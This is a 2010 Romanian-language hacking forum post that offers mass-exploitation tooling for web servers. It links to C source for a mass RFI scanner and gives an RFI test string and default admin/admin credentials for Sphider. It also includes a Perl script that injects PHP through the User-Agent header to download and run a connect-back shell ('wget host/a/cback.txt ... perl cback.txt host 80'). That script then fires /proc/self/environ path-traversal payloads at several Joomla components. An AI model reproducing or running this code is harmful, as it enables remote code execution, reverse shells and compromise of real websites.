UstupidMF Posted June 6, 2010 Report Posted June 6, 2010 (edited) Puteti sa-l tot modificatzi asa cum am facut si eu in ultimii ani.Mura-n-Guraif(strstr(ret,"RoundCube List Widget")!=NULL) aici punetzi voi ce sa caute .. pt rfi daca facetzi ceva genhttp://ip/rfi=http://ip/shell.php?<?phpecho ("MFU hacked you");?>punetzi sa caute MFU hacked yourfi-urile le punetzi intr-un cgifile/ip/rfibug?bug=http://ip/pathspre/shell.php?Pentru compilare downloadatzi toate fisierelehttp://UstupidMF.xhost.ro/vuln/mass.c.txthttp://UstupidMF.xhost.ro/vuln/http_get.c.txthttp://UstupidMF.xhost.ro/vuln/http_get.h.txthttp://UstupidMF.xhost.ro/vuln/build.h.txtDaca reusiti sa-l modificatzi intr-un mass mai bun nu ezitatzi sa-mi datzi un e-mailh00lyshit123 at gmail dot com/sphider/install.txt/search/install.txt/sphider-plus/install.txt/sphider-1.3.5/install.txtif(strstr(ret,"Sphider - a lightweight")!=NULL) exit(0);nu trebuie sa va chinuiti prea mult cu elcu sphider o sa gasiti destule,problema este ca nu foarte multe au userul si pasul defaultadmin = admindar puteti incerca cu http://ip/path/spider.phpsi datzi direct click pe loginuse LWP::UserAgent;my $path = $ARGV[0] or die("Usage: perl env.pl http://mf.mf/director\n");$ua = new LWP::UserAgent;$ua->agent("<?system('ls -all;uname -a;id;pwd;wget host/a/cback.txt -O /var/tmp/cback.txt;perl /var/tmp/cback.txt host 80');?>");{ print "[*] [*] [*] Tulai Domne [*] [*] [*]\n";}my $req = new HTTP::Request (POST => "$path/index.php"); $req->content_type('application/x-www-form-urlencoded'); $req->content("_REQUEST=&_REQUEST[option]=com_extcalendar&_REQUEST[itemid]=../../../../../../../../../../../../../../../proc/self/environ%00"); $req->content("option=com_svmap&controller=../../../../../../../../../../../../../../../proc/self/environ%00"); $req->content("option=com_sweetykeeper&controller=../../../../../../../../../../proc/self/environ%00"); $req->content("option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%00"); $req->content("option=com_svmap&controller=../../../../../../../../../../../../../../../proc/self/environ%00"); $req->content("option=com_myblog&Itemid=12&task=../../../../../../../../../../../../../../../proc/self/environ%00"); $req->content("page=../../../../../../../../proc/self/environ%00"); $req->content("option=com_ckforms&controller=../../../../../../../../../../../../../../../proc/self/environ%00"); $req->content("_SERVER[ConfigFile]=../../../../../../../../../../../../../../../proc/self/environ"); $req->content("option=com_shoutbox&controller=../../../../../../../../../../../../../../../proc/self/environ%00");my $res = $ua->request($req);my $data = $res->as_string;if ( $data =~ /<td class=["']main_section['"]>(.*)/ ){ print "[*] [*] [*] Tulai Domne [*] [*] [*]\n";}else{ print "$data\n";}Este sploitu de e107,l-am modificat putin pt lfi-uridaca nu va place asa,puteti sa adaugatzi inca un argv sa scoateti stringul din xplmy $path = $ARGV[0] or die("Usage: perl env.pl http://mf.mf/director\n");my $load = $ARGV[1];my $req = new HTTP::Request (POST => "$path/index.php?$load"); $req->content("$load=../../../../../../../../../../../../../../../proc/self/environ%00"); Edited July 12, 2010 by UstupidMF Quote